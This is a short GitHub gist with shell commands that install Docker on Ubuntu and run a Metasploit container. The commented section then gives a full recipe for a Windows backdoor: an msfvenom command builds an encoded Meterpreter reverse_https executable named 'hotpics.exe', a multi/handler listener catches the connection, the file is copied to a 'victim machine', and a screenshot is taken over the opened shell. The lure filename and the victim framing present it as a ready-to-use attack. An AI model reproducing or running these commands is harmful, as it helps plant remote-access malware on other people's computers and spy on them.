Skip to content

Instantly share code, notes, and snippets.

@msoe
Created April 26, 2018 04:08
Show Gist options
  • Save msoe/a6bb0fd229378c22437a832d262a08b3 to your computer and use it in GitHub Desktop.
Save msoe/a6bb0fd229378c22437a832d262a08b3 to your computer and use it in GitHub Desktop.
# Run these in a superuser shell, or add sudo to the commands
# Add Docker's official GPG key
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# Add repository
add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) \
stable"
apt update
apt install docker-ce
# Run the image remnux/metasploit in a container. On the first run, it will download 1.2GB image file.
# Host will forward the traffic to port 443 to container's port 443.
docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
# Run metasploit
msfconsole -q
##########
# You can continue to run the following commands from msf shell to test. Or do your usual stuff.
#
# Create a backdoor executable for windows. It will be placed in /tmp/data of your container and /tmp/msf of your linux host
# msf5 > msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=[your ubuntu ip] LPORT=443 -e x86/shikata_ga_nai -f exe -o hotpics.exe
#
# msf5 > use exploit/multi/handler
# msf5 exploit(handler) > set payload windows/meterpreter/reverse_https
# msf5 exploit(handler) > set LPORT 443
# msf5 exploit(handler) > set LHOST [your ubuntu ip]
# msf5 exploit(handler) > exploit
# Copy the hotpics.exe to a victim machine that can access your Ubuntu host, and run the backdoor file.
# On shell opening:
# meterpreter > screenshot
####
# REFERENCES:
# - https://docs.docker.com/install/linux/docker-ce/ubuntu/#install-docker-ce-1
# - https://zeltser.com/metasploit-framework-docker-container/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment